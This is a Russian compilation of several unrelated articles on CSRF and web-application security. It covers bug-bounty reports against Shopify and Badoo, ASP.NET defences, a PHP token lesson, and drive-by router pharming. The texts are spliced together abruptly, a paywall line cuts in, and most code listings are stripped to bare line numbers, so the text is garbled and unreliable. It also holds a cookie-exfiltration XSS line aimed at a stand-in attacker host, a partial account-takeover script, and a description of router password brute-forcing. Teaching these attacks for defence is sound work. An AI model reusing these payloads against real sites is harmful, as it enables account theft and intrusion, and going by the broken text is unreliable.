Введение. Уязвимость CSRF. Введение HTTP глаголы и CSRF

Cross Site Request Forgery, или CSRF, является атакой, которая осуществляется в тот момент, когда вредоносный сайт, письмо, сообщение, приложение или что-либо иное заставляет браузер пользователя выполнить некоторые действия на другом сайте, где этот пользователь уже аутентифицирован. Зачастую это происходит без ведома пользователя.

Вред от CSRF-атаки зависит от сайта, принимающего действие. Вот пример:

Еще более интересна ситуация, когда ссылка на вредоносный
сайт может содержаться в валидном HTML, благодаря чему Бо-
бу даже не придется нажимать на ссылку: . Если устройство Боба (например, браузер) отрису-
ет это изображение, оно сделает запрос к malicious_site.com и потенциально совершит CSRF-атаку.

Теперь, зная об опасностях, которые несут CSRF-атаки, вы можете защититься от них множеством способов, самым популярным из которых, возможно, является использование CSRFтокена, который должен отправляться с любым запросом, который потенциально может изменять данные (например, с POST-запросами). Веб-приложение (такое, как онлайн-банк Боба) должно будет сгенерировать токен, состоящий из двух частей, одну из которых получит Боб, а вторая будет сохранена в приложении.

Когда Боб попытается совершить запрос на перевод денег, он должен будет отправить токен, который будет проверен банком на валидность при помощи токена, хранящегося в приложении.

Теперь, когда мы знаем о CSRF и CSRF-токенах, Cross Origin Resource Sharing (CORS) становится более понятным, хотя возможно, я просто заметил это по мере исследования новых целей. В общем, CORS ограничивает список ресурсов, которые могут получать доступ к данным. Другими словами, когда CORS используется для защиты сайта, вы можете написать Javascript для вызова целевого приложения, прочитать ответ и сделать другой вызов, если целевой сайт вам это позволяет.

Если это кажется непонятным, то попробуйте с помощью Javascript сделать вызов к HackerOne.com/activity.json, прочитать ответ и сделать второй вызов. Вы также увидите важность этого и потенциальные способы обхода в примере #3 ниже.

Наконец, важно заметить (спасибо Джоберту Абме за указание на этот момент), что не каждый запрос без CSRF-токена является невалидным. Некоторые сайты могут выполнять дополнительные проверки, такие, как сравнение заголовка исходящей стороны (хотя это не является гарантией безопасности и есть известные случаи обхода). Это поле, которое идентифицирует адрес страницы, которая ссылается на запрашиваемый ресурс. Другими словами, если исходящая сторона (реферер)

выполняет POST-вызов не с того же сайта, который получил HTTP-запрос, сайт может не позволить вызову достигнуть того же эффекта, что достигается с использованием CSRFтокена. Кроме того, не каждый сайт использует терми csrf при создании или определении токена. Например, на Badoo это параметр rt, как описано ниже.

Прочтите руководство по тестированию на OWASP Testing for CSRF

Сложность: Низкая
Url: https://app.shopify.com/services/partners/api_clients/XXXX/export_installed_users

Описание:

API Shopify предоставляет эндпоинт для экспорта списка установленных пользователей через URL, показанный выше. Уязвимость заключалась в том, что сайт мог сделать запрос к этому эндпоинту и получить в ответ информацию, поскольку

Shopify не использовал CSRF-токен для валидации этого запроса. В результате, следующий HTML-код мог быть использован для отправки формы от имени ничего не подозревающей жертвы.

1 2 csrf 3 4 7 8 9

В этом примере при простом посещении страницы Javascript отправляет форму, которая включает GET-запрос к API Shopify, используя cookie Shopify, установленные в браузере жертвы.

Увеличивайте масштаб ваших атак и ищите баги не только на сайте, но и в API. Эндпоинты API также являются потенциальной площадкой для использования уязвимостей, так что стоит помнить об этом, особенно, если вы знаете, что API мог быть разработан или стать доступным после того, как был создан веб-интерфейс.

Сложность: Низкая
Url: https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect

Shopify предоставляет интеграцию с Twitter, что позволяет владельцам магазинов постить твиты о своих продуктах. Подобным образом сервис позволяет и отключить аккаунт Twitter от связанного магазина.

URL для отключения аккаунта Twitter от магазина указан выше. При совершении запроса Shopify не валидировал CSRFтокен, что позволило злоумышленнику создать фальшивую ссылку, клик на которую приведет ничего не подозревающего владельца магазина к отключению его магазина от Twitter.

Описывая уязвимость, WeSecureApp предоставил следующий пример уязвимого запроса обратите внимание, что использование тега img делает вызов к уязвимому URL:

1 GET /auth/twitter/disconnect HTTP/1.1 2 Host: twitter-commerce.shopifyapps.com 3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.1 4 1; rv:43.0) Gecko/20100101 Firefox/43.0 5 Accept: text/html, application/xhtml+xml, application/x 6 ml 7 Accept-Language: en-US,en;q=0.5 8 Accept-Encoding: gzip, deflate 9 Referer: https://twitter-commerce.shopifyapps.com/accou 10 nt 11 Cookie: _twitter-commerce_session=REDACTED 12 >Connection: keep-alive

Поскольку браузер выполняет GET-запрос для получения изображения по переданному URL и CSRF-токен не валидируется, пользовательский магазин теперь отключен:

1 2 3 5 6

В этой ситуации, описанная уязвимость могла быть найдена при использовании проксисервера, такого, как Burp или Firefox Tamper Data, достаточно было взглянуть на запрос, отправляемый к Shopify и увидеть, что этот запрос был осуществлен с помощью GET-запроса. Поскольку это было разрушительное действие и GETзапросы не должны изменять данные на сервер, это стоит исследовать.

Сложность: Средняя
Url: https://badoo.com
Ссылка на отчет: https://hackerone.com/reports/12770312
Дата отчета: 1 апреля 2016
Выплаченное вознаграждение: $852

Описание:

Если вы взглянете на Badoo, выпоймете, что они защищаются от CSRF включением в URL параметра rt, который имеет длину всего в 5 символов (по крайней мере, на момент написания). Хотя я заметил это, когда Badoo запустил кампанию на HackerOne, я не нашел способа это использовать. Однако, Махмуд Джамал (zombiehelp54) нашел.

Поняв значение параметра rt, он также заметил, что параметр возвращался в почти всех json-ответах. К сожалению, это не принесло пользы, поскольку CORS защищает Badoo от атак, читая эти ответы. Махмуд продолжил искать.

Оказалось, что файл https://eu1.badoo.com/worker-scope/chrome-ser содержит значение rt. Еще лучше было то, что этот файл
мог быть произвольно прочитан атакующим и не требовал от
жертвы никаких действий кроме посещения вредоносной веб-страницы. Вот код, который он предоставил:

1 2 3 Badoo account take over 4 6 7 8 9 function getCSRFcode(str) { 10 return str.split(’=’); 11 } 12 window.onload = function(){ 13 var csrf_code = getCSRFcode(url_stats); 14 csrf_url = ’https://eu1.badoo.com/google/verify.phtml?c 15 ode=4/nprfspM3yfn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authu 16 ser=3&session_state=7cb17 4b560..a810&prompt=none&rt=’+ csrf_code; 18 window.location = csrf_url; 19 }; 20

В общем, когда жертва загружала страницу, она делала запрос к скрипту Badoo, забирала параметр rt для этого пользователя и затем делала запрос от имени жертвы. В этом случае, это было связывание аккаунта Махмуда с аккаунтом жертвы, что позволяло полностью захватить аккаунт.

Где дым, там и огонь, Здесь Махмуд заметил, что параметр rt возвращался в разных местах, в конкретных json-ответах. Поэтому он правильно предположил, что он может быть показан где-то, где его можно будет использовать в этом случае в js файле.

CSRF-атаки представляют другой опасный вектор для атак и могут быть быть выполнены без активных действий со стороны жертвы или вообще без её уведомления. Обнаружение CSRF-уязвимостей требует некоторой изобретательности и, опять же, желания тестировать все подряд.

Как правило, формы стандартно защищены фреймворками вроде Rails если сайт выполняет POST-запрос, но API могут

быть отдельной историей. Например, Shopify написан в основном на основе фреймворка Ruby on Rails, который предоставляет защиту от CSRF-атак для всех форм по умолчанию (хотя её и можно отключить). Однако, очевидно, что это не обязательно так для API, созданных с помощью этого фреймворка. Наконец, обращайте внимание на вызовы, которые изменяют данные на сервере (такие, как действие удаления) и выполняются с помощью GET-запроса.

ASP.NET MVC - не самый хайповый, но довольно популярный стек в среде веб-разработчиков. С точки зрения (анти)хакера, его стандартная функциональность дает тебе кое-какой базовый уровень безопасности, но для предохранения от абсолютного большинства хакерских трюков нужна дополнительная защита. В этой статье мы рассмотрим основы, которые должен знать о безопасности ASP.NET-разработчик (будь то Core, MVC, MVC Razor или Web Forms).

Начнем со всем известных видов атак.

Как ни странно, но в 2017 году injection и, в частности, SQL injection находятся на первом месте среди «Toп-10 рисков безопасности OWASP» (Open Web Application Security Project). Этот вид атаки подразумевает, что введенные пользователем данные используются на серверной стороне в качестве параметров запроса.

Пример классической SQL-инъекции скорее характерен именно для приложений Web Forms. От атак помогает защититься использование параметров в качестве значений запроса:

String commandText = "UPDATE Users SET Status = 1 WHERE CustomerID = @ID;"; SqlCommand command = new SqlCommand(commandText, connectionString); command.Parameters["@ID"].Value = customerID;

Если ты разрабатываешь MVC-приложение, то Entity Framework прикрывает некоторые уязвимости. Получить сработавшую в MVC/EF-приложении SQL-инъекцию нужно умудриться. Однако это возможно, если ты выполняешь SQL-код с помощью ExecuteQuery или вызываешь плохо написанные хранимые процедуры.

Несмотря на то что ORM позволяет избежать SQL-инъекции (за исключением приведенных выше примеров), рекомендуется ограничивать атрибутами значения, которые могут принимать поля модели, а значит, и формы. Например, если подразумевается, что в поле может быть введен только текст, то с помощью Regex укажи диапазон ^+$ . А если в поле должны быть введены цифры, то укажи это как требование:

Public string Zip { get; set; }

В Web Forms ограничить значения можно с помощью валидаторов. Пример:

Начиная с.NET 4.5 Web Forms используют Unobtrusive Validation. А это значит, что не требуется писать какой-то дополнительный код для проверки значения формы.

Валидация данных, в частности, может помочь защититься от еще одной всем известной уязвимости под названием cross-site scripting (XSS).

Типичный пример XSS - добавление скрипта в комментарий или запись в гостевую книгу. Выглядеть он может так:

document.location="https://verybadcoolhacker.com/?cookie="+encodeURIComponent(document.cookie)

Как ты понимаешь, в данном примере куки с твоего сайта передаются в качестве параметра на какой-то хакерский ресурс.

В Web Forms можно совершить ошибку с помощью примерно такого кода:

Извините , но пароль ошибочный

Понятно, что вместо username может быть скрипт. Чтобы избежать выполнения скрипта, можно как минимум использовать другое ASP.NET-выражение: , которое энкодит свое содержимое.

Если мы используем Razor, то строки автоматически энкодируются, что сводит возможность реализации XSS к минимуму - хакер сможет ее провернуть, только если ты грубо ошибешься, например используешь @Html.Raw(Model.username) или заюзаешь в своей модели MvcHtmlString вместо string .

Для дополнительной защиты от XSS данные кодируются еще и в коде C#. В.NET Core можно использовать следующие кодеры из пространства имен System.Text.Encodings.Web: HtmlEncoder , JavaScriptEncoder и UrlEncoder .

Следующий пример вернет строку :

String encodedString = HtmlEncoder.Default.Encode("");

В классическом.NET используется HttpUtility.HtmlEncode . А начиная с.NET 4.5 можно сделать AntiXssEncoder энкодером по умолчанию. Делается это добавлением в тег httpRuntime файла web.config одного атрибута:

Таким образом, сохранив старый код HttpUtility.HtmlEncode , мы будем пользоваться новым и более стойким к уязвимостям классом (также в новом коде будут задействованы старые классы HttpServerUtility и HttpResponseHeader).

Рекомендуется кодировать строки не перед сохранением в базу, а перед отображением. Кроме того, если мы используем какую-то строку, введенную пользователем, в качестве параметра для передачи в URL, то обязательно нужно юзать UrlEncoder .

Википедия в «алиэкспрессовском» стиле утверждает, что на русском CSRF звучит как «межсайтовая подделка запроса». При таком типе атаки вредоносный сайт, на который заходит пользователь, отправляет запросы на другой ресурс. На хороший сайт, на котором пользователь зарегистрирован и который он недавно посещал. Может случиться так, что информация об авторизации на хорошем сайте все еще остается в cookie. Тогда вполне может быть совершено и какое-то скрытое вредоносное действие.

Избежать этой атаки в MVC помогает всем известный хелпер @Html.AntiForgeryToken() , добавленный во View, и добавленный перед action контроллера атрибут . Этот способ защиты относится к типу STP (synchronizer token pattern). Суть в том, что при заходе на страницу сервер отправляет пользователю токен, а после того, как пользователь совершает запрос, он вместе с данными отправляет токен серверу обратно для проверки. Токены могут сохраняться как в заголовке, так и в скрытом поле или в кукисах.

Страницы Razor защищены от XSRF/CSRF-атак по умолчанию. А вот если мы используем AJAX-запросы, то есть возможность отправить токены в заголовке. По сравнению с использованием AntiForgeryToken это не так просто. Для настройки этой возможности ASP.NET Core использует сервис Microsoft.AspNetCore.Antiforgery.IAntiforgery . Классические ASP.NET-приложения используют метод AntiForgery.GetTokens для генерации токенов и AntiForgery.Validate для проверки полученных серверной стороной токенов.

Будь осторожен с редиректами! Следующий код очень опасен:

Response.Redirect(Request.QueryString["Url"]);

Атакующий может добавить ссылку на свой сайт. А пользователь же, увидев, что URL начинается с хорошего сайта, может не рассмотреть адрес полностью (особенно если он длинный) и кликнуть ссылку, таким образом перейдя на вредоносный сайт с твоего, хорошего (у тебя же хорошие сайты?). Эта уязвимость может использоваться, в частности, для фишинга. Пример фишинговой ссылки:

Http://www.goodwebsite.com/Redirect?url=http://www.badwebsite.com

Многие пользователи, получив email со ссылкой, смотрят, совпадает ли домен, и совсем не ожидают переброски на злодейский ресурс. А если по редиректу откроется страница с таким же дизайном, то многие пользователи не задумываясь введут свои логин и пароль (решив, что случайно вышли из аккаунта). После чего, кстати, могут быть перенаправлены злоумышленниками обратно на настоящий сайт.

Этот вид атак касается и MVC. В следующем примере происходит проверка на то, является ли ссылка локальной:

Private ActionResult RedirectToLocalPage(string redirectUrl) { if (Url.IsLocalUrl(redirectUrl)) return Redirect(redirectUrl); // ... }

Для защиты от этого типа атак можно использовать и вспомогательный метод LocalRedirect:

Private ActionResult RedirectToLocalPage(string redirectUrl) { return LocalRedirect(redirectUrl); }

В общем, старайся никогда не доверять полученным данным.

Разберем эту уязвимость на примере. Допустим, в нашем веб-сайте есть простая модель с двумя свойствами:

Public class UserModel { public string Name { get; set; } public bool IsAdmin { get; set; } }

И есть обычная и довольно простая вьюшка:

@model UserModel @if (Model.IsAdmin) { You are an admin } else { You are a standard user } Submit

С помощью этой вьюшки можно редактировать только имя пользователя, не так ли?

А теперь давай перейдем к столь же простому коду:

Public IActionResult Vulnerable(int id, UserModel model) { return View("Index", model); }

Все ли здесь нормально? Как оказывается, нет. А все из-за того, что экшен помечен как HttpPost . Чтобы убедится в этом, достаточно открыть утилиту вроде Postman или Fiddler и отправить POST-запрос на адрес с указанием параметров id и IsAdmin. Если мы тестируем локально, то адрес может быть таким: localhost:51696/Home/Vulnerable?id=34&IsAdmin=true.

Как видно на скриншоте, получен доступ к секретной информации (в HTML-коде есть строка You are an admin). Как защититься от этого типа атаки? Самый простой вариант - не попадать в ситуацию, когда с HttpPost передается какой-нибудь объект. А если этого не избежать, нужно быть готовым к тому, что передано может быть все что угодно. Один из вариантов - это создать какой-то отдельный класс для передачи его через HttpPost. Это может быть как базовый класс текущего класса с общедоступными параметрами, так и класс-двойник. В этом классе важные поля можно пометить атрибутом Editable со значением false:

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», увеличит личную накопительную скидку и позволит накапливать профессиональный рейтинг Xakep Score!

CSRF (Сross Site Request Forgery - подделка межсайтовых запросов) Так же известен как XSRF. Данный вид атак на посетителей интернет-сайтов использует недостатки HTTP протокола. Если жертва зайдет на сайт, который специально был создан злоумышленником, то от ее лица тайно отправится запрос на сторонний сервер (например сервер электронных платежей), осуществляющий некую вредоносную операцию (перевод денег на счет взломщика). Для успеха данной атаки, жертва должна быть авторизована на сервере, на который отправится запрос. Сам запрос не должен требовать подтверждения со стороны пользователя.

Вопреки бытующему мнения, данный тип атак появился весьма давно. Теоретические рассуждения по этому вопросу появились еще в 1988 году, а первые уязвимости обнаружили в 2000 году.

Одним из применений CSRF является эксплуатация пассивных XSS, обнаруженных на другом сервере. Возможны так же спам-рассылки от лица жертвы, изменение настроек учетной записи на другом сайте.

Самым простым способом защиты от подобного типа атак является механизм, когда сайт требует подтверждения почти всех действий пользователя.

Другим способом защиты является механизм, когда с сессией пользователя ассоциируется секретный ключ, необходимый для выполнения POST-запросов. Ключ посылается пользователем внутри каждого запроса, при выполнении различных действий, а сервер проверяет данный ключ. Плюс механизма в отсутствии необходимости осуществлять парсинг поля HTTP_REFERER, а следовательно отпадает необходимость учета многих нюансов возможных вариантов отсутствия или присутствия различных элементов этого поля.

От автора: поводом к записи данного урока послужил вопрос на нашем форуме, который звучал следующим образом — как защитить сайт от CSRF -атак? Конечно мы сразу же ответили по данной теме и привели небольшой алгоритм по реализации механизма защиты. Но так как, скорее всего форум читают, далеко не все наши читатели я решил записать отдельный урок по вышеуказанному вопросу.

Сразу же хотел бы отметить, что в текущем видео не будет приведено полноценное готовое решение, которое можно внедрить на необходимый сайт. Потому как у каждого из Вас есть или же будет сайт, с уникальной логической структурой, то есть совсем не похожий на другие, а значит невозможно создать готовый скрипт защиты, соблюдая абсолютно все возможные варианты реализации.

Да и это не нужно, так как суть механизма защиты довольно проста, и поэтому в текущем видео на примере тестового сайта, Вы увидите, как можно защититься от вышеуказанного типа атаки, а далее на основе полученных знаний Вы проделаете аналогичные шаги на собственном проекте. Итак, давайте приступать.

CSRF – это аббревиатура образованная английскими словами Cross-Site Request Forgery, что означает межсайтовая подделка запросов. Данный термин введен уже достаточно давно еще 2001 году Питером Воткинсом, но говорить о возможных атаках подобного рода начали еще в далеком 1988 году. При этом заметьте, прошло уже достаточное количество времени, но все же данной атаке подвергается большая часть веб-сайтов интернета. Сразу же возникает вопрос – почему так? И ответ довольно прост и заключается в том, что уязвимость к атакам CSRF — это не ошибка кода приложения, а следствие вполне обычной работы браузера и веб-сервера.

Суть атаки заключается в том, что злоумышленник может выполнить на незащищенном сайте различные действия от имени другого зарегистрированного (авторизированного) пользователя. Другими словами данный тип атаки предусматривает посещение пользователем сайта злоумышленника, что в свою очередь приводит к тому, что незаметно для него выполняются некоторые заранее прописанные действия на другом сайте или сервисе, на котором этот пользователь в данный момент авторизован.

При этом, как правило, целями CSRF-атак являются различные интерактивные Web-приложения, которые выполняют конкретные действия, к примеру, сервисы по отправке электронной почты, различные форумы, платежные системы и т.д. То есть, хакер может выполнять некоторые действия от имени других пользователей — отправлять сообщения, добавлять новые учетные записи, осуществлять финансовые операции и т.д.

Теперь давайте рассмотрим действие указанной атаки на примере тестового сайта.

Предположим, что есть веб-сайт, задача которого сводится к отправке электронного сообщения по указанному адресу от имени некого авторизированного пользователя. То есть на главной странице мы видим форму, для отправки сообщения. Более того здесь же предусмотрен механизм отправки сообщений, при передачи определенных параметров через GET запрос (просто для примера). При этом страница авторизации выглядит следующим образом.

Данная страница вполне обычная, но в глаза бросается чек-бокс “Member”, который используется для сохранения данный авторизации в куках браузера. Собственно данный механизм очень удобен пользователям, так как упрощает повторный доступ к странице, но крайне не желателен с точки зрения безопасности. Но все же ради посетителей часто приходится идти на определенные уступки.

Код отправки сообщений двумя методами (GET и POST) выглядит примерно следующим образом:

//Отправка сообщения if($this->isGet() && !empty($_GET["email"])) { $body = "Hello this is message form - ".$this->user["name"]; $body .= " Content - from GET - ".$_GET["content"]."From - ".$_GET["email"]; mail("[email protected]","New message",$body); } if($this->isPost()) { $body = "Hello this is message form - ".$this->user["name"]; $body .= " Content - FROM POST - ".$_POST["content"]."From - ".$_POST["email"]; mail("[email protected]","New message",$body); }

Теперь, рассмотрим еще один сайт – сайт хакера.

На котором он может разместить, довольно простой, но очень эффективный код,если необходимо произвести атаку по запросу типа GET:

То есть, по сути, мы видим тег img, в атрибуте src которого располагается путь к сайту, предполагаемого для атаки, с набором необходимых параметров, для выполнения конкретного действия. В нашем случае это отправка сообщения, а значит, теперь злоумышленнику достаточно заманить пользователя на текущий сайт и незаметно от него, будет осуществлен запрос к интересующему сайту, так как браузер будет пытаться загрузить изображение, путь к которому указан в атрибуте src. При этом мы помним, что в куках браузера хранятся данные для авторизации и, конечно же, приложение сразу же их использует и соответственно вышеуказанный запрос успешно будет обработан сервером. А это означает, что будет отправлено сообщение от имени пользователя.

Если посмотреть набор заголовков, которые отправляются вместе с запросом, то действительно, мы сможем увидеть и куки, с данными для входа в учетную запись, что само собой означает – как было сказано выше, что запрос будет воспринят как исходящий от аутентифицированного пользователя.

Точно такая же ситуация обстоит и с отправкой запроса методом POST, единственно в этом случае злоумышленник создаст на своем сайте форму, которая будет автоматически отправляться при помощи JavaScript ,как только посетитель зайдет на данный сайт.

Таким образом защищаться от атак подобного рода нужно обязательно и единственный наиболее эффективный способ защиты – это использование специальных токенов.

Защитный токен – это строка, которая генерируется случайным образом под конкретного пользователя и передается в каждом запросе, который предусматривает изменение данных. Помимо этого токен,так же сохраняется и в сессии. Таким образом, суть защиты, сводится к простой проверке соответствия токена, который передается в запросе и токена который хранится в сессии. Если оба токена идентичны, значит, запрос отправил авторизированный пользователь. Если токены не совпадают, или в запросе его вообще нет – с большой уверенностью можно судить, что осуществляется атака, а значит, никакие действия выполнять нельзя.

Заметьте, что защищать нужно абсолютно все запросы, которые направлены на изменение или же выполнение определенных действий.

Собственно на данном этапе текстовая часть урока завершена и продолжим говорить поданной теме мы уже в видео версии. При этом мы рассмотрим способы генерации токенов и практически реализуем алгоритм работы защиты, который описан выше. А сейчас давайте прощаться. Удачного кодирования!!!

Cross-Site Request Forgery – много шума из-за ничего

Alexander Antipov

В последнее время в сообществе специалистов по безопасности Web-приложений широко обсуждается «новый» тип уязвимостей, получивший название Cross-Site Request Forgery (CSRF или XSRF). Предлагаемая вниманию читателя статья содержит описание этого типа уязвимостей, методов его использования и основные походы к защите.

Сергей Гордейчик

Gоrdey @ ptsеcurity com

В последнее время в сообществе специалистов по безопасности Web-приложений широко обсуждается «новый» тип уязвимостей, получивший название Cross-Site Request Forgery (CSRF или XSRF). Предлагаемая вниманию читателя статья содержит описание этого типа уязвимостей, методов его использования и основные походы к защите. Общепринятый русский термин для обозначения Cross-Site Request Forgery ещё не устоялся, в связи с чем автор предлагает использовать вариант «Подделка HTTP-запросов».

Прежде всего, хотелось бы остановиться на основных заблуждениях связанных с CSRF:

1. Подделка HTTP-запросов – новый тип уязвимостей.

Это далеко не так. Теоретические размышления на тему подделки источника сообщений датированы 1988 годом (http://www.cis.upenn.edu/~KeyKOS/ConfusedDeputy.html), а практические примеры уязвимостей обсуждаются в Bugtraq как минимум с 2000 года (http://www.zope.org/Members/jim/ZopeSecurity/ClientSideTrojan). Сам термин введен Peter Watkins (http://www.securiteam.com/securitynews/5FP0C204KE.html) в 2001 году.

2. CSRF – это вариант Межсайтового выполнения сценариев (XSS).

Единственное сходство между CSRF и XSS, это использование в качестве вектора атаки клиентов Web-приложений (Client-Side Attack в терминологии WASC http://www.webappsec.org/projects/threat/). Уязвимости типа CSRF могут эксплуатироваться совместно с XSS или «редиректорами» (http://www..php), но представляют собой отдельный класс уязвимостей.

3. Уязвимость CSRF мало распространена и достаточно сложна в использовании.

Данные, полученные компанией Positive Technologies в ходе работ по тестированию на проникновение и оценки защищенности Web-приложений показывают, что этой уязвимости подвержена большая часть Web-приложений. В отличие от других уязвимостей CSRF возникает не в результате ошибок программирования, а является нормальным поведением Web-сервера и браузера. Т.е. большинство сайтов, использующих стандартную архитектуру уязвимы «по умолчанию».

Давайте рассмотрим использование CSRF на примере. Предположим, существует некое Web-приложение, отправляющее сообщения электронной почты. Пользователь указывает адрес электронной почты и текст сообщения, нажимает кнопку Submit и сообщение от его адреса передается получателю.

Рис. 1. Отправка сообщения

Схема знакома по множеству сайтов и не вызывает никаких возражений. Однако указанное приложение с большой вероятности уязвимо для атак «Подделка HTTP-запроса». Для эксплуатации уязвимости злоумышленник может создать на своем сайте страницу содержащую ссылку на «изображение», после чего заставить пользователя перейти по ссылке на свой сайт (например, http://bh.ptsecurity.ru/xcheck/csrf.htm).

При обращении к странице браузер пользователя пытается загрузить изображение, для чего обращается к уязвимому приложению, т.е. оправляет сообщение электронной почты адресату, указанному в поле «to» запроса.

Рис. 2. Атака CSRF

Обратите внимание, что браузер пользователя отправит сайту значение Cookie, т.е. запрос будет воспринят как исходящий от аутентифицированного пользователя. Для того чтобы заставить пользователя загрузить страницу, отправляющую запрос к уязвимому серверу, злоумышленник может использовать методы социальной инженерии, а также технические уязвимости, такие как XSS и ошибки в реализации функции перенаправления.

Рис. 3. Логика работы CSRF

Таким образом, атака с использованием CSRF заключается в использовании браузера пользователя для передачи HTTP-запросов произвольным сайтам, а уязвимость – в отсутствии проверки источника HTTP-запроса. Приведенное в примере приложение использует HTTP-метод GET для передачи параметров, что упрощает жизнь злоумышленнику. Однако не стоит думать, что использование метода POST автоматически устраняет возможность проведения атак с подделкой HTTP-запроса. Страница на сервере злоумышленника может содержать готовую HTML-форму, автоматически отправляемую при просмотре страницы.

Для эксплуатации CSRF злоумышленнику совсем не обязательно иметь свой Web-сервер. Страница, инициирующая запрос может быть передана по электронной почте или другим способом.

В обзоре Billy Hoffman приведены различные методы сетевого взаимодействия с помощью Javascript. Все они, включая XmlHttxmpquest (в некоторых ситуациях), могут быть задействованы для реализации атак CSRF.

Надеюсь, что сейчас читателю уже понятно основное отличие CSRF от XSS. В случае с XSS злоумышленник получает возможность доступа к DOM (Document Object Model) уязвимой страницы, как на чтение, так и на запись. При выполнении CSRF атакущий имеет возможность передать запрос серверу с помощью браузера пользователя, но получить и проанализировать ответ сервера, а тем более его заголовок (например, Cookie) уже не сможет. Соответственно, «Подделка HTTP-запросов» позволяет работать с приложением в режиме «только на запись», чего впрочем, вполне достаточно для выполнения реальных атак.

Основными целями CSRF-атак являются различные интерактивные Web-приложения, например системы электронной почты, форумы, CMS, интерфейсы удаленного управления сетевым оборудованием. Например, злоумышленник может отправлять сообщения от имени других пользователей, добавлять новые учетные записи, или изменять настройки маршрутизатора через Web-интерфейс.

Рис. 4. Пример эксплуатации CSRF в форуме

Остановимся подробнее на последнем – изменении настроек сетевых устройств. Автор уже по отношению к системам обнаружения беспроводных атак, но естественно, ими дело не ограничивается.

В декабре прошлого года компания Symantec опубликовала отчет о «новой» атаке, под называнием «Drive-By Pharming», которая, по сути, является вариантом эксплуатации CSRF. Злоумышленник выполняет в браузере пользователя некий «волшебный» JavaScript, изменяющий настройки маршрутизатора, например устанавливающего новое значение DNS-сервера. Для выполнения этой атаки необходимо решить следующие задачи:

Сканирование портов с помощью JavaScript;

Определение типа Web-приложения (fingerprint);

Подбор пароля и аутентификация с помощью CSRF;

Изменение настроек узла с помощью атаки CSRF.

Техника сканирования определения доступности Web-сервера и его типа по с помощью JavaScript проработана достаточно хорошо и сводится к динамическому созданию HTML-объектов (например, img src=), указывающие на различные внутренние URL (например, http://192.168.0.1/pageerror.gif). Если «картинка» была успешно загружена, то по тестируемому адресу расположен Web-сервер на базе Microsoft IIS. Если в ответ было получена ошибка 404, то порт открыт и на нем работает Web-сервер. В случае если был превышен таймаут – сервер отсутствует в сети или порт заблокирован на межсетевом экране. Ну и в остальных ситуациях – порт закрыт, но хост доступен (сервер вернул RST-пакет и браузер вернул ошибку до истечения таймаута). В некоторых ситуациях подобное сканирование портов из браузера пользователя может проводиться без использования JavaScript (http://jeremiahgrossman.blogspot.com/2006/11/browser-port-scanning-without.html).

После определения типа устройства злоумышленник может попробовать заставить браузер пользователя сразу послать запрос на изменение настроек. Но такой запрос будет успешен только в случае, если браузер пользователя уже имеет активную аутентифицированную сессию с устройства. Иметь под рукой открытую страницу управления маршрутизатором - дурная привычка многих «продвинутых» пользователей.

Если же активной сессии с интерфейсом управления нет, злоумышленнику необходимо пройти аутентификацию. В случае если в устройстве реализована аутентификация на основе форм, никаких проблем не возникает. Используя CSRF в POST, серверу отправляются запрос на авторизацию, после чего с него загружается изображение (или страница) доступная только аутентифицированным пользователям. Если изображение было получено, то аутентификация прошла успешно, и можно приступать к дальнейшим действиям, в обратном случае – пробуем другой пароль.

В случае если в атакуемом устройстве реализована аутентификация по методу Basic, задача усложняется. Браузер Internet Explorer не поддерживает возможность указать имя пользователя и пароль в URL (например, http://user:[email protected]). В связи с этим для выполнения Basic-аутентификации может использоваться метод с добавлением HTTP-заголовков с помощью Flash, описанный в статье . Однако этот метод подходит только для старых версий Flash, которые встречаются все реже и реже.

Но другие брузеры, например Firefox дают возможность указать имя пользователя и пароль в URL, и могут быть использованы для аутентификации на любом сервере, причем это можно сделать без генерации сообщения об ошибке в случае выбора неверного пароля.

Пример сценария для «тихой» аутентификации по методу Basic, из блога Stefan Esser приведен ниже.

Firefox HTTP Auth Bruteforcing

Рис. 5. Аутентификация Basic в Firefox

В корпоративной среде, где зачастую используются механизмы SSO, например, на базе домена Active Directory и протоколов Kerberos и NTLM эксплуатация CSRF не требует дополнительных усилий. Браузер автоматически пройдет аутентификацию в контексте безопасности текущего пользователя.

После того как аутентификация была пройдена, злоумышленник с помощью JavaScript передать запрос, изменяющий произвольные настройки маршрутизатора, например адрес DNS-сервера.

Первое, что приходит на ум, когда речь заходит о защите от CSRF – это проверка значения заголовка Referer. И действительно, поскольку подделка HTTP-запросов заключается в передаче запроса с третьего сайта, контроль исходной страницы, чей адрес автоматически добавляется браузером в заголовки запроса, может решить проблему.

Однако этот механизм имеет ряд недостатков. Во-первых – перед разработчиком встает вопрос об обработке запросов, не имеющих заголовка Referer как такового. Многие из персональных межсетевых экранов и анонимизирующих proxy-серверов вырезают Referer, как потенциально небезопасный заголовок. Соответственно, если сервер будет игнорировать подобные запросы, группа наиболее «параноидально» настроенных граждан не смогут с ним работать.

Во-вторых, в некоторых ситуациях заголовок Referer может быть подделан, например, с помощью уже упоминавшегося трюка с Flash. Если пользователь применяет IE 6.0, то содержимое заголовка запроса может быть модифицировано c использованием ошибки в реализации XmlHttxmpquest. Уязвимость заключается в возможности использования символов перевода строки в имени HTTP-метода, что позволяет изменять заголовки и даже внедрять дополнительный запрос. Эта уязвимость была обнаружена Amit Clein () в 2005 году и снова открыта в 2007. Ограничением этого метода является то, что он работает только в случае наличия между пользователем и сервером HTTP-Proxy или размещения серверов на одном IP-адресе, но с разными доменными именами.

Другой распространенный метод – добавление уникального параметра к каждому запросу, который затем проверяется сервером. Параметр может добавляться к URL при использовании GET запроса как например, в или в виде спрятанного параметра формы, при использовании POST. Значение параметра может быть произвольным, главное, чтобы злоумышленник не мог его предсказать, например – значение сессии пользователя.

Рис. 6. Защита от CSRF в Bitrix

Для быстрого добавления функции проверки CSRF в свое приложение можно воспользоваться следующим подходом:

1. Добавлять в каждую генерируемую страницу небольшой JavaScript, дописывающий во все формы дополнительный скрытый параметр, которому присваивается значение Cookie.

2. Проверять на сервере, что переданные клиентом с помощью метода POST данные содержат значение, равное текущему значению Cookie.

Пример подобного клиентского сценария приведен ниже:

Дальнейшим развитием этого подхода является сохранение идентификатора сессии не в Cookie, а в качестве скрытого параметра формы (например, VIEWSTATE).

